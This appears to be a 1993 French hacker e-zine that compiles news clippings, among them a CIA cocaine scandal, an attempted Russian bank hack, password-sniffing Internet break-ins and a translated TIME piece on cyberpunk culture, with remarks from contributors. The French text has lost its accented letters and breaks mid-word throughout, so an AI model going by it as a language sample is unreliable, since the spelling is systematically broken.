GRC, les vols de dynamite perptrs par ses agents et une foule
d'autres activits illgales rvles par les commissions Keable
et McDonald, on a de bonnes raisons de se poser des questions¯,
dit Me Cloutier.
Il aimerait bien savoir galement qui sont ces censeurs qui
charcutent les documents publics avant de les remettre aux
citoyens qui font des recherches sur les administrations
prcdentes. Certains de leurs coups de ciseaux sont tranges,
dit-il, d'autres sont peut-tre complices.
Lorsqu'on compare les trois versions des textes transmis
Me Cloutier, force est de reconnatre que les censeurs manquaient
parfois de suite dans les ides et cachaient mme des choses
rvles dans des documents officiels.
- 30 -
Leeched from THE NEW YORK TIMES - Samedi 20 novembre 1993
ANTI-DRUG UNIT OF C.I.A. SENT TON OF COCAINE TO U.S. IN 1990
par Tim Weiner
WASHINGTON, Nov. 19 ÄÄ A Central Intelligence Agency
anti-drug program in Venezuela shipped a ton of nearly pure
cocaine to the United States in 1990, Government officials said
today.
No criminal charges have been brought in the matter, which
the officials said appeared to have been a serious accident
rather than an intentional conspiracy. But officials say the
cocaine wound up being sold on the streets in the United States.
One C.I.A. officer has resigned, a second has been
disciplined and a Federal grand jury in Miami is investigating.
The agency, made aware of a "60 Minutes" investigation of
the matter scheduled for broadcast on Sunday, issued a statement
today calling the affair "a most regrettable incident" involving
"instances of poor judgement and management on the part of
several C.I.A. officers."
The case involves the same program under which the agency
created a Haitian intelligence service whose officers became
involved in drug trafficking and acts of political terror. Its
exposure comes amid growing Congressional skepticism about the
role of the C.I.A. in the war on drugs.
In the mid-1980's, under orders from President Reagan, the
agency began to set up anti-drug programs in the major
cocaine-producing and trafficking capitals of Central and South
America. In Venezuela it worked with the country's National
Guard, a paramilitary force that controls the highways and
borders.
Government officials said that the joint C.I.A.-Venezuelan
force was headed by Gen. Ram¢n Guilln D vila, and that the
ranking C.I.A. officer was Mark McFarlin, who had worked with
anti-guerilla forces in El Salvador in the 1980's. The mission
was to infiltrate the Colombian gangs that ship cocaine to the
United States.
In December 1989, officials of the United States Drug
Enforcement Agency said, Mr. McFarlin and the C.I.A. chief of
station in Venezuela, Jim Campbell, met with the drug agency's
attach in Venezuela, Annabelle Grimm, to discuss a proposal to
allow hundreds of pounds of cocaine to be shipped to the United
States through Venezuela in an operation intended to win the
confidence of the Colombian traffickers.
Unlike so-called "controlled shipments" that take place in
criminal investigations, shipments that end with arrests and the
confiscation of the drugs, these were to be "uncontrolled
shipments," officials of the drug agency said. The cocaine would
enter the United States without being seized, so as to allay all
suspicion. The idea was to gather as much intelligence as
possible on members of the drug gangs.
The drug agency refused to take part in the operation and
said it should be called off. In a transcript of the "60 Minutes"
broadcast supplied to The New York Times, Ms. Grimm said Mr.
McFarlin of the C.I.A. and General Guilln had gone ahead anyway.
"I really take great exception to the fact that that 1,000
kilos came in, funded by the U.S. taxpayer money," Ms. Grimm
said, according to the transcript. "I found that particularly
appalling."
D.E.A. officers and other Government officials gave this
account of the cocaine shipments and subsequent investigations
into their origins:
The C.I.A.-Venezuelan force accumulated more than 3,000
pounds of cocaine delivered to its undercover agents by
Colombian traffickers and stored the cocaine in a truck
at the intelligence agency's counter-narcotics center in
Caracas. Most of the cocaine was flown to the United
States in a series of shipments during 1990.
Drug Seizure at Miami Airport
In late 1990, United States Customs Service officials seized
a shipment of nearly 1,000 pounds at Miami's international
airport and discovered that it had been shipped by members of the
Venezuelan National Guard. Investigators from the drug agency
interviewed a Venezuelan undercover agent working with the
C.I.A.'s counter-narcotics center, who told them that the
shipments had been approved by the United States Government.
The investigators from the drug agency, unaware that the
intelligence agency had any role in the affair, first set about
trying to eliminate their own personnel as suspects. They found
that a female drug enforcement officer in Caracas had a close
relationship with Mr. McFarlin. Using information she had
obtained from him, the drug agency then focused its attention on
the C.I.A. officer and his colleague, General Guilln.
In June 1991 the United States Attorney in Miami sent a
memorandum to the Justice Department proposing the indictment of
the general.
"The fly in the ointment is that the dope was delivered to
the United States," a senior Drug Enforcement Administration
official said in an interview today. "If you're part of a drug
shipment and you have knowledge that it is going to the U.S.,
whether or not you ever entered the U.S., you're culpable."
That month, Melvin Levitsky, then the chief State Department
official overseeing international narcotics matters, met with
officers of the Justice Department, the C.I.A. and the D.E.A. and
explained that if the Justice Department brought an indictment
against General Guilln, the United States might have to cut off
assistance to Venezuela, causing major diplomatic problems.
General is Granted Immunity
The general was not indicted. In exchange for his
cooperation, he was granted immunity from having his own words
used against him. But the general apparently said nothing
implicating the Central Intelligence Agency.
But in 1992 the intelligence agency's own inspector general
completed a report on the affair and submitted it to Senate
Intelligence Committee. That report remains secret, although
aspects of the affair have been widely reported in Venezuelan
newspapers.
Former agency officers familiar with the report say it found
no indication that anyone from the C.I.A. had profited from the
affair. Mr. McFarlin has resigned from the agency, and a second
officer was disciplined. No criminal charges are pending,
although General Guilln has been subpoenaed to appear before a
Federal grand jury in Miami, the C.I.A. said in a statement
today.
The investigation crippled the agency's counter-narcotics
center in Venezuela, but similar centers continue to operate in
Bolivia, Peru, Colombia and other cocaine-trafficking countries,
Government officials said. Such programs fall under the banner of
"liaison relationships" with foreign intelligence agencies, and
rarely if ever does the C.I.A. willingly report on these
relationships to Congress.
In an interview last week, Representative Dan Glickman, the
Kansas Democrat who heads the House Intelligence Committee, said
the subject of C.I.A. anti-drug activities needed closer scrutiny
by the agency's Congressional overseers.
- 30 -
Leeched from WARNER BROS. PRESS RELEASE - 93/11/02
STANLEY KUBRICK'S "AI"
par Warner Bros.
Stanley Kubrick's next film for Warner Bros. will be "AI" -
the abbreviation for artificial intelligence - an epic science
fiction story set in a future when intelligent robots service in
many capacities, the greenhouse effect has melted the ice caps
and many great cities are drowned. New Jersey has become the
shoreline and New York's eroding and crumbling skycrapers are
ancient monuments rearing up from the Atlantic ocean.
The film is planned for production later next year. Kubrick
had originally worked on the project for two years before putting
aside in 1991 when he felt the visuals were beyond the then
state-of-the-art in special-effects. But the recent advances in
special-effect technology, especially in CGI (Computer Graphic
Imaging) so impressively presented in "Jurassic Park", has
convinced him that now virtually anything is possible.
Kubrick had been preparing to produce and direct "Aryan
Papers", a story set in the Nazi Holocaust, based on Louis
Begley's novel "Wartime Lies", which he will now either produce
but not direct early next year, or direct himself after "AI" is
completed. -wb-
- 30 -
Leeched from THE GLOBE AND MAIL - Jeudi 18 novembre 1993
CAMERAS ROLLING FOR FLQ FILM
par The Globe and Mail
MONTREAL ÄÄ Pierre Falardeau's film about the 1970 FLQ
assassination of Pierre Laporte, to be called "Octobre (Rue
Armstrong)", is currently shooting in Montreal, with a projected
completion date of Dec. 5. The film's producers, AVPAV, decline
to discuss the film, and are postponing interviews with the
principals until shooting is finished.
The script for "Octobre" created controversy last february
when Senator Philippe Gigantes denounced the spending of public
money on a film which, he alleged, glorified the Front de
Libration du Qubec. Gigantes had received a copy of the script,
which Falardeau alleged had been stolen, and distributed copies
of it to jounalists. Falardeau subsequently acknowledged that the
film was pro-FLQ, but argued that politicians had no business
interfering in freedom of artistic expression.
Telefilm spokesman Michel Montagne acknowledged that the
organization has contributed $1-million to the projected
$2.2-million cost of the film.
He also said that Falardeau's script had been rewritten,
"largely to be certain that it did not say anything defamatory
about actual persons" involved. He underlined that this was not
"censorship" but was done in the interests of accuracy.
The film was originally budgeted at $2.6-million, but the
budget was reduced for unspecified reasons.
- 30 -
Leeched from THE GAZETTE - Jeudi 21 octrobre 1993
HACKERS NEARLY BROKE BANK
par The Associated Press
MOSCOW ÄÄ Computer hackers nearly succeeded in stealing $75.4
million from Russia's Central Bank last month, a bank spokesman
said yesterday.
The foiled robbery was only the latest in a string of thefts
and attempted frauds at the state-run bank since the breakup of
the Soviet Union and the beginning of its transition to a market
economy.
The unidentified hackers got into the bank's computer using
a random combination of access codes and then tried to transfer
the money into accounts at commercial banks. The attempt failed
because the thieves lost too much time transferring the vast
sums, and the bank detected the computer leak.
Bank spokesman Vladimir Yefremov said police were still
investigating.
- 30 -
Leeched from LE DEVOIR - Mercredi 24 novembre 1993
Contre l'empire des fraudeurs
LES PUCES CONTRE-ATTAQUENT
par Andr Salwyn
Avec la mise en march de photocopieuses couleur de plus en
plus sophistiques, les fraudeurs semblent s'en donner
coeur
joie: la contrefaon de chques de compagnie aurait rapport, au
Canada seulement, la somme rondelette de 2 milliards de dollars
cette anne. Cela reprsente une augmentation de 63% des fraudes du
genre par rapport
l'anne prcdente.
Mais la dfense s'organise: l'entreprise Data Formules
d'affaires a mis au point un logiciel appel Laserfront et qui, par
la faon dont il imprime les chiffres, rend pratiquement impossible
l'altration de ces derniers une fois qu'ils sont imprims sur un
chque.
Data Formules d'affaires jouit d'un certain respect dans les
milieux financiers et autres car elle dispose de toute l'exprience
acquise par l'ex-multinationale Burroughs dans le domaine de la
lutte contre la fraude par copiage ou altration de chques.
Elle a en effet acquis et absorb la filiale canadienne de
Burroughs lorsque cette dernire a connu des difficults
financires. (Il faut rappeler ici que c'est Burroughs qui, en
1980, mettait au point la premire machine permettant d'imprimer le
montant et de signer des chques).
Le logiciel Laserfront, disons-le tout de suite, n'est pas bon
march. Il se vend, nous dit-on, entre deux 2 et 3 000$ et cela,
mme si le principe selon lequel il fonctionne demeure assez
simple.
En effet, Laserfront imprime les chiffres de faon
alphanumrique, c'est-
-dire qu'il imprime le chiffre numrique
lui-mme sur un fond compos d'une srie de reprsentations du mme
chiffre crit en toutes lettres (anglaises, pour l'instant).
[Atreid- Deux
trois milles dollars pour faire A?]
Ainsi le chiffre 8 apparait sur un champ de petits "eight". On
voit tout de suite le genre de problme auquel un fraudeur aurait
faire face s'il dcidait, par exemple, de changer le 8 en 9.
Le logiciel Laserfont peut tre utilis par tout appareil PC
rattach
une imprimante laser. Data Formules d'affaires offre
aussi
ses clients des fromules de chques sur papier spcial qui
contient une trame le protgeant contre toute copie en couleur.
Jean-Guy Paquette, porte-parole de l'entreprise, nous assure
que ds qu'une tentative est faite de photocopier un chque mis
sur ce papier... les mots "Faux" "Void" ou "Nullo" apparaissent sur
le chque, le rendant inutilisable. (...)
- 30 -
[Blitz- ca devient comme une habitude, n'est-ce pas, ces compagnies
de "scurit" qui prsentent des produits
des prix dfiant
l'imagination. En gros, Laserfont, ce n'est que cel
, un "font". Un
font de dix chiffres, de 0
9, qui cote 2500$!!! Et puis,
Paquette et son papier spcial peuvent probablement aller se
rhabiller: les photocopieurs lasers sont de bien meilleur qualit
aujourd'hui et leur tramage "magique" doit en prendre pour son
rhume. En tous cas, moi, je demande
voir!]
Leeched from THE GLOBE AND MAIL - Mardi 23 novembre 1993
SOCIAL STUDIES
par Michael Kesterton
(...) This month, in Port St. Lucie Fla., Tom (Fuzzy) Fezette and
Amy (Bam Bam Jr.) Gross made their marriage vows on two laptop
computers on a coffe table. The hackers, who met on an electronic
bulletin board, had more than 50 on-line guests and relatives, as
far away as Wisconsin, following the ceremony.
- 30 -
-Santa: Le texte suivant est simplement une coupure faisant
rfrence
la seconde guerre, qui prouve combien les gens
peuvent si bien cacher les choses, lorcequ'elles tournent
leurs
avantages.
CHURCHILL SAVAIT-IL QUE LE JAPON SE PRPARAIT A ATTAQUER PEARL
HARBOR?
LONDRES(AP)- Winston Churchill savait-il
l'avance que le Japon
se prparait
attaquer Pearl Harbor? Les archives des services
secrets britanniques rendues publiques, jeudi 25 Novembre 1993,
ne rpondent pas
cette interrogation. Elles rvlent en
revanche que le premier-ministre britannique n'ignorait pas
l'existence des camps d'extermination nazis ds 1942.
La publication de ces documents intervient dans le cadre de la
politique de transparence voulue par l'hte du 10, Downing
Street, John Mayor. Historiens et chercheurs ont ainsi pu se
plonger, hier, dans 1273 dossiers jusqu'alors tenus secrets,
relatifs aux annes 1941 et 1942.
Si certains attendaient beaucoup de ces archives pour clairer
des zones d'ombres de l'histoire, le Bureau des archives
publiques (PRO) s'est charg de calmer leurs ardeurs: "Aucun
document n'indique clairement que des sources britanniques
taient au courant de l'attaque japonaise sur Pearl Harbor, mme
s'il tait prvisible que le Japon allait entrer dans la guerre",
souligne-t-il dans un communiqu.
Le PRO ajoute toutefois que, "les historiens, aprs une tude
dtaille de ce matriel, pourraient parvenir
une conclusion
diffrente".
Pas un des documents rendus publics, jeudi, ne fait directement
allusion
l'attaque par des avions embarqus japonais de la base
Amricaine de Pearl Harbor, aux premires heures du 7 dcembre
1941. Cette agression nippone s'tait solde par la mort de 2400
personnes et la perte par les Amricains de 120 avions et 19
navires.
Dans un ouvrage intitul "Trahison
Pearl Harbor" (Betrayal et
Pearl Harbor), James Rusbridger et Eric Nave affirment que les
services secrets britanniques dtenaient la cl des codes
japonais de premire importance et ont pu intercepter des signaux
annonant une attaque imminente sur Pearl Harbor.
Dchiffreur australien, Eric Nave avait dcrypt plusieurs codes
secrets japonais avant et aprs le conflit. Il est dcd en
Juillet dernier.
L'un des documents consultables depuis Jeudi est un message dat
du 4 dcembre 1941 et barr de la mention "Ultra Secret". Il
s'agit d'un ordre du ministre japonais des Affaires trangres
appelant l'embassadeur du Japon
Washington
dtruire tous les
codes secrets. Trois jours plus tard, la principale base
amricaine de l'archipel d'Hawaii tait attaque et les tats-
Unis entraient
leur tour dans ce nouveau conflit mondial.
Le rapport relatif aux activits de la police allemande date du
26 septembre 1942 et comprend des chiffres prcis sur le nombre
de morts dans les camps nazis au mois d'aot de cette anne:
"Niederhagen 21; Auschwitz 6829 hommes, 1525 femmes; Flossenburg
88; Buchenwald 74."
Ce document fait rfrence
une demande de main-d'oeuvre
prvoyant l'envoi de 1000 prisonniers d'Auschwitz dans des
chantiers ferroviaires. Il est prcis que ce contingent n'a pu
tre envoy en raison D'une "interdiction", apparemment une
quarantaine, frappant les occupants de ce camp. "Bien que le
typhus fasse toujours rage
Auschwitz, il semble que les
arrives se poursuivent", peut-on lire dans ce rapport qu'avait
lu Winston Churchill.
Un autre rapport provenant de l'ambassadeur japonais
Berlin et
dat du 29 novembre 1941 cite le ministre allemand des Affaires
trangres Joachim Von Ribbentrop: "Le fuhrer, dit-il, croyait
que la situation tait mauvaise en Grande-Bretagne et pensait
qu'
la suite des oprations allemandes
venir, elle pourrait
tre battue sans tre envahie." Il tait galement signal, chez
les Britanniques, un "manque de confiance en Churchill"...
- 30 -
COMPUTER NETWORK AT RISK
New York Times (Nov 1)
by John Markoff
SAN FRANCISCO -- The vision of a national information
superhighway is being threatened by a group of anonymous computer
intruders who have broken into hundreds of university, government
and commercial computers in recent months, bedeviling many of the
nation's computer managers.
The attacks, which became public several weeks ago when an
on-line service in New York City was forced to shut down for
three days, have alarmed security experts, who say this has
exposed fundamental weaknesses in the security of Internet, an
international computer network that is widely viewed as
theforerunner of the nation's data highway.
``The pervasive nature of this thing is startling but not
surprising,'' said Peter Neumann, a computer scientist and
security expert at SRI International, a research center in Menlo
Park. ``The vendors and the system administrators are way behind
the power curve. The fact is everyone on the Internet is getting
hit.''
The intruders have been able to obtain passwords for
hundreds, or even thousands, of computers that are attached to
Internet, which connects more than two million computers at
universities, corporations and government sites around the world.
``The extent of this isn't appreciated by the people who
should know better,'' said Alexis Rosen, president of Panix
Public Access system, a New York City on-line service, which was
attacked last month.
The problems are sobering because similar security
technologies are being used by most of the interactive television
experiments of cable television and telephone companies eager to
sell services like on-line banking and home shopping.
``People see the glitter and the glamour of the information
highway, but they don't see the risk,'' said Eugene Spafford, a
computer scientist and director of a Purdue University security
center. ``The vast majority of people have never really bothered
to think carefully about what they may have to lose and what
exposure they are taking for themselves by connecting to the
network.''
On Oct. 18, the staff of Panix Public Access found that an
intruder had secretly inserted a rogue program into one their
computers. The program was designed to watch network data
communications, and record password information in a secret file.
In recent years, dozens of small commercial on-line service
providers like Panix have sprung up around the country to give
computer users access to Internet. In addition to electronic
mail, this permit users to read computer bulletin boards, and
exchange software and documents. They are part of an explosion of
network services that are being used by an increasing number of
American businesses for electronic commerce.
Computer site administrators said they had no accurate
estimates of how many systems had been compromised in the
attacks, or whether information had been stolen.
Several computer sites said they had notified the FBI, which
along with the Secret Service has jurisdiction over computer
break-ins. However there is little information about where the
intruders are or even whether the break-ins are the work of an
individual or a group working together.
This kind of attack is known by computer security
researchers as a ``Trojan horse.'' It permits an illegal user to
collect the passwords of legitimate users as they connect to
other computers over the network. Once armed with the passwords,
the intruder can enter other computers.
Security experts said the method is not new, but its
extensive use reveals Internet's weaknesses.
Much of the network is based on standard office-network
technology called Ethernet. Computer data sent over an Ethernet
network pass by every computer that is connected to the local
network. Therefore, a machine that is taken over by an illegal
user can scan and capture any of that information.
The attacks, government and private security specialists
both said, raise questions about the use of passwords as a method
for protecting network security in the future.
``Things go flying by in clear text on communications lines
that are easy to tap,'' said Richard Pethia, coordinator of the
Computer Emergency Response Team, a government-financed security
support group at Carnegie Mellon University. His group has made
300 to 400 phone calls warning computer sites around the country
that their security might have been compromised.
A number of security experts said technology now exists that
would help minimize the kind of intrusions that rely on stealing
passwords.
For example, there are systems that require a password to
change every time it is used. Other systems require users to rely
on special credit card-sized computers that create a unique
password for each connection.
Researchers at Massachusetts Institute of Technology have
created a security system called Kerberos, which codes password
information so that it cannot be viewed while it is passes over
the network.
The recent intrusions have also reignited a debate among
security specialists over how much information about loopholes in
system protection should be made publicly available.
The Computer Emergency Response Team maintains a policy of
not commenting on specific attacks. However, the organization has
been criticized by a number of system administrators, who think
they are vulnerable to attacks because they are not informed
quickly enough of newly discovered security flaws.
``I disagree with their policy and I wish they would change
it,'' Rosen of Panix said, adding that he had decided to
publicize the attacks because he believed the problem was much
more widespread than security officials had acknowledged.
- 30 -
CYBERPUNK!
(Traduction par Mphisto).
Le prsent article fut publi dans le magazine TIME. On y trace
le portrait prcis des cyberpunks de la commmunaut informatique
underground.
Les Beatniks des annes 50 sont les vrais initiateurs de l'opposition
au conformisme de l'Amerique,
l'poque d'Eisenhower. Dans les
annes 60, les Hippies s'opposent publiquement
la guerre, prchent
la libert sexuelle, l'usage des drogues et le Rock'N'Roll.
A l'heure actuelle, une nouvelle culture surgit de l'underground,
envahit les crans informatiques partout dans le monde:
c'est le CYBERPUNK, un terme n au seuil du 21me sicle, form
de CYBERNETIQUE, science de la communication et de la rgulation
des machines, et PUNK, groupe antisocial prnant la rvolte.
L'essence de la culture internationale Cyberpunk nait de cette
union bizarre: une faon de voir le monde qui runit la folie
de la haute technologie et le mpris envers son utilisation
conventionnelle.
Les premiers Cyberpunks font partie d'un groupe radical d'crivains
de science-fiction, puis, les premiers pirates vraiment tenaces
leur succdent. Le mot Cyberpunk recouvre maintenant un large
ventail: musique, art, psychdlisme, drogues fortes,
technologies nouvelles, sans oublier les hackers qui
travaillent laborieusement
rpandre cette culture. Il y a
plusieurs tentatives de dfinition: Technologie avec une Attitude
(Stewart Brand, Whole Earth Catalog), Une alliance impie du monde
technologique, de la culture Pop underground et de l'anarchie
de la rue. (Bruce Sterling, Science-Fiction writer).
Comme dans tout mouvement de contre-culture, certains nient appartenir
un mouvement quelconque. Quoique le journal Cyberpunk le plus connu,
(Punk! Magazine) dclare avoir 70 000 lecteurs, il n'y a gure
que quelques milliers de hackers informatiques qui pourraient
vraiment se rclamer de ce groupe: pirates, futuristes,
phreakers, artistes, musiciens et crateurs de science-fiction.
Nanmoins, ce groupe peut dfinir la contre-culture de l'poque
informatique. Il embrasse, en esprit du moins, le hacker dans la
trentaine, vot, devant un terminal, mais aussi des jeunes dans la
vingtaine,
la narine perce, runis pour des RAVES clandestins,
des adolescents que leur Amiga fait triper, comme leurs parents,
autrefois, les disques, et mme des pradolescents qui s'activent
devant leur Nintendo ou leur Sega, les futurs Cyberpunks.
Obsds par la technologie, les Cyberpunks sont tourns vers une
philosophie futuriste qui n'existe pas encore. Ils ont dj
un
pied dans le 21me sicle, convaincus que dans un avenir lointain
tous les terriens seront des Cyberpunks.
Le look Cyberpunk, une espce d'art science-fiction surraliste
sur ordinateur, apparat dans les galeries, les vidos et les
films hollywoodiens. Les magazines Cyberpunk, plusieurs publis
bon march ou distribus par medium lectronique, se
multiplient comme les canaux tl. La musique Cyberpunk fait vivre
plusieurs compagnies de disques. Les livres Cyberpunk disparaissent
vite des tablettes. Et les films Cyberpunk comme Bladerunner,
Robocop, Videodrome, Total recall, Terminator 2 et The lawnmower
man, basculent dans cette culture.
[Atreid- Terminator 2? Robocop?]
Aux E.-U. (et par consquent au Canada), la culture Cyberpunk
s'empare de tout, mme de l'administration Clinton,
cause
de l'intrt port
'l'autoroute des rseaux' et ce que les
Cyberpunks nomment Cyberspace. Les deux termes rfrent au rseau
tlphonique interconnect entourant la plante, vhiculant des
billions de voix, de fax et de donnes. Ce Cyberspace gigantesque,
l'Internet, se dploie sur l'Atlantique, atteint l'Irlande, l'ouest
de l'Europe, le Japon, la Core du Sud, l'Indonsie, l'Australie et
la Nouvelle-Zlande. Les Cyberpunks voient les cables de
l'intrieur et parlent d'un rseau comme si c'tait une place
pour s'installer, une ralit virtuelle dans laquelle on peut
pntrer, qu'on peut explorer et manipuler.
Le cyberspace joue un rle majeur dans la vision mondiale Cyberpunk.
La littrature est remplie de 'Console Cowboys' qui alimentent
leur imaginaire de faits hroqyes. "Cyberpunk", un livre paru en
1991, met en vedette trois hackers Cyberpunk qui font autorit,
incluant Robert Morris, l'tudiant de l'universit Cornell: un
virus de son ordinateur se rpandit dans l'Internet et
paralysa tout le rseau en 1988.
Cependant, le Cyberspace est plus qu'un terrain de jeu. C'est un
medium. Chaque nuit sur GEnie, sur Compuserve ou sur des milliers
de babillards lectroniques, des centaines de milliers d'usagers
se connectent et participent
la fte mdiatique, un dbat interactif
qui leur permet de faire sauter les barrires du temps, des pays,
du sexe et du statut social.
La plupart des usagers se contentent de visiter le cyberspace de
temps en temps, mais le Cyberpunk s'y installe pour vivre, jouer
et mme pour mourir. Le WELL (Whole Earth Electronic Link), un site
Internet, fut branl quand l'un de ses membres les plus actifs
lana un programme qui effaa tous ses messages dans des milliers de
postes. Quelques semaines plus tard, il se suicida pour de vrai.
Cet vnement attira les penseurs Cyberpunk sur le site Well. Ils
s'interrogrent: Est-ce l
un fait significatif du mouvement
Cyberpunk? Les rponses afflurent et remplirent plus de 300 pages
de textes. A partir de toutes ces rflexions, on dressa une liste
des tendances principales du mouvement Cyberpunk:
LES INFORMATIONS DOIVENT CIRCULER LIBREMENT. Toute information
valable peut ventuellement tomber entre les mains de gens qui
en feront un meilleur usage, malgr les efforts de la
censure, des copyright lgaux et du service secret.
TOUJOURS CEDER A L'IMPERATIF DE S'INFILTRER. Les Cyberpunks
maintiennent qu'ils peuvent mener la plante pour le mieux si
seulement ils peuvent mettre la main sur la bote de contrle.
PROMOUVOIR LA CENTRALISATION. La socit se disperse en centaines
de sous-cultures et de sectes, ce qui est stupide.(1)
'SURF THE EDGES'. Lorsque le monde change
chaque nanoseconde,
la meilleure faon de vous tenir la tte hors de l'eau c'est de
rester au-dessus de la vague.
Pour les Cyberpunks, rflchir sur l'histoire est moins important
que de rencontrer le futur. A travers bien des vicissitudes,
ils trouvent le moyen de vivre avec la technologie, de se
l'approprier: ce que les Hippies n'ont jamais fait. Les Cyberpunks
utilisent la technologie pour runir l'art et la science, la
littrature et l'industrie. Par-dessus tout, les Cyberpunks se
rendent compte que si vous ne contrlez pas la technologie, c'est
elle qui va vous contrler. Cette leon servira bien les Cyberpunks
- et le reste de l'univers - pour le prochain sicle.
(1) Il semble que ces quelques lignes diffrent du texte original.
Il y aurait eu des changements apports dans le texte anglais
que j'ai fidlement traduit ici."Promouvoir la dcentralisation"
est ce qui apparaissait dans l'article du Time, et "stupide"
a t srement ajout. Le texte original est pass entre
plusieurs mains avant de nous arriver...
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